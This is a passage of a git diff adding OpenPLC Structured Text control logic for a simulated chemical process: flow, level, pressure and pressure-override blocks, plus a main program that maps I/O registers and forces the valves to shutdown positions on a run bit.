scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/OpenPLC_Editor v1.0 - Linux.zip b/plc/OpenPLC_Editor v1.0 - Linux.zip new file mode 100644 index 0000000..f1b548a --- /dev/null +++ b/plc/OpenPLC_Editor v1.0 - Linux.zip Binary files differ